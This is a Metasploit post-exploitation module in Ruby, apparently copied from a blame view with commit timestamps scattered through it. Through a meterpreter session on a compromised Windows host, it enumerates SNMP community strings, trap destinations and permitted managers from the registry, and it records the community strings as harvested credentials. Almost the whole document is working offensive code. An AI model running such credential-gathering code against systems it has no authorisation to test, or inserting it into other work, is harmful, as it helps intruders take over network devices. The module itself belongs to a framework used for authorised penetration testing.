2011-01-12 23:22:41 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# ## This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-01-12 23:22:41 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'msf/core/post/windows/registry'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2011-06-21 00:38:04 +00:00
|
|
|
include Msf::Post::Windows::Registry
|
2011-02-28 04:55:56 +00:00
|
|
|
include Msf::Auxiliary::Report
|
2011-11-20 01:53:25 +00:00
|
|
|
|
2011-01-12 23:22:41 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2011-04-27 16:25:15 +00:00
|
|
|
'Name' => 'Windows Gather SNMP Settings Enumeration (Registry)',
|
2011-02-26 02:47:40 +00:00
|
|
|
'Description' => %q{ This module will enumerate the SNMP service configuration },
|
2011-01-12 23:22:41 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', 'Tebo <tebo[at]attackresearch.com>'],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Platform' => [ 'windows' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
# Run Method called when command run is issued
|
|
|
|
def run
|
|
|
|
print_status("Running module against #{sysinfo['Computer']}")
|
|
|
|
if check_snmp
|
|
|
|
community_strings
|
|
|
|
trap_setup
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Method for Checking if SNMP is installed on the target host
|
|
|
|
def check_snmp
|
|
|
|
print_status("Checking if SNMP is Installed")
|
|
|
|
key = "HKLM\\System\\CurrentControlSet\\Services"
|
|
|
|
if registry_enumkeys(key).include?("SNMP")
|
|
|
|
print_status("\tSNMP is installed!")
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
print_error("\tSNMP is not installed on the target host")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
2011-11-20 01:53:25 +00:00
|
|
|
|
2011-01-12 23:22:41 +00:00
|
|
|
# Method for enumerating the Community Strings configured
|
|
|
|
def community_strings
|
|
|
|
comm_str = []
|
|
|
|
tbl = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => "Comunity Strings",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>
|
|
|
|
[
|
|
|
|
"Name",
|
|
|
|
"Type"
|
|
|
|
])
|
|
|
|
print_status("Enumerating community strings")
|
|
|
|
key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities"
|
|
|
|
comm_str = registry_enumvals(key)
|
2011-11-30 21:22:52 +00:00
|
|
|
if not comm_str.nil? and not comm_str.empty?
|
2011-01-12 23:22:41 +00:00
|
|
|
comm_str.each do |c|
|
2011-11-20 01:53:25 +00:00
|
|
|
|
2011-01-12 23:22:41 +00:00
|
|
|
case registry_getvaldata(key,c)
|
|
|
|
when 4
|
|
|
|
comm_type = "READ ONLY"
|
|
|
|
when 1
|
|
|
|
comm_type = "DISABLED"
|
|
|
|
when 2
|
|
|
|
comm_type = "NOTIFY"
|
|
|
|
when 8
|
|
|
|
comm_type = "READ & WRITE"
|
|
|
|
when 16
|
|
|
|
comm_type = "READ CREATE"
|
|
|
|
end
|
|
|
|
|
|
|
|
# Save data to table
|
|
|
|
tbl << [c,comm_type]
|
|
|
|
|
|
|
|
# Save Community Strings to DB
|
2011-02-28 04:55:56 +00:00
|
|
|
report_auth_info(
|
2011-01-12 23:22:41 +00:00
|
|
|
:host => session.sock.peerhost,
|
|
|
|
:port => 161,
|
|
|
|
:proto => 'udp',
|
|
|
|
:sname => 'snmp',
|
|
|
|
:user => '',
|
|
|
|
:pass => c,
|
|
|
|
:type => "snmp.community",
|
|
|
|
:duplicate_ok => true
|
|
|
|
)
|
|
|
|
end
|
|
|
|
print_status("")
|
|
|
|
|
|
|
|
# Print table
|
|
|
|
tbl.to_s.each_line do |l|
|
|
|
|
print_status("\t#{l.chomp}")
|
|
|
|
end
|
|
|
|
print_status("")
|
|
|
|
|
|
|
|
# Check who can connect using the Community Strings
|
|
|
|
allowd_for_snmp_query
|
|
|
|
|
|
|
|
else
|
|
|
|
print_error("\tNo Community strings configured")
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Method for enumerating the Traps configured
|
|
|
|
def trap_setup
|
|
|
|
print_status("Enumerating Trap Configuration")
|
|
|
|
key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\TrapConfiguration"
|
|
|
|
trap_hosts = registry_enumkeys(key)
|
2011-11-30 21:22:52 +00:00
|
|
|
if not trap_hosts.nil? and not trap_hosts.empty?
|
2011-01-12 23:22:41 +00:00
|
|
|
trap_hosts.each do |c|
|
|
|
|
print_status("Community Name: #{c}")
|
|
|
|
session.framework.db.report_auth_info(
|
|
|
|
:host => session.sock.peerhost,
|
|
|
|
:port => 161,
|
|
|
|
:proto => 'udp',
|
|
|
|
:sname => 'snmp',
|
|
|
|
:user => '',
|
|
|
|
:pass => c,
|
|
|
|
:type => "snmp.community",
|
|
|
|
:duplicate_ok => true
|
|
|
|
)
|
|
|
|
t_comm_key = key+"\\"+c
|
|
|
|
registry_enumvals(t_comm_key).each do |t|
|
|
|
|
print_status("\tDestination: " + registry_getvaldata(t_comm_key,t))
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_status("No Traps are configured")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Method for enumerating Permitted Managers
|
|
|
|
def allowd_for_snmp_query
|
|
|
|
print_status("Enumerating Permitted Managers for Community Strings")
|
|
|
|
key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\PermittedManagers"
|
|
|
|
managers = registry_enumvals(key)
|
2011-11-30 21:22:52 +00:00
|
|
|
if not managers.nil? and not managers.empty?
|
2011-01-12 23:22:41 +00:00
|
|
|
print_status("Community Strings can be accessed from:")
|
|
|
|
managers.each do |m|
|
|
|
|
print_status("\t#{registry_getvaldata(key,m)}")
|
|
|
|
end
|
|
|
|
|
|
|
|
else
|
|
|
|
print_status("\tCommunity Strings can be accessed from any host")
|
|
|
|
end
|
|
|
|
end
|
2011-02-25 21:00:33 +00:00
|
|
|
end
|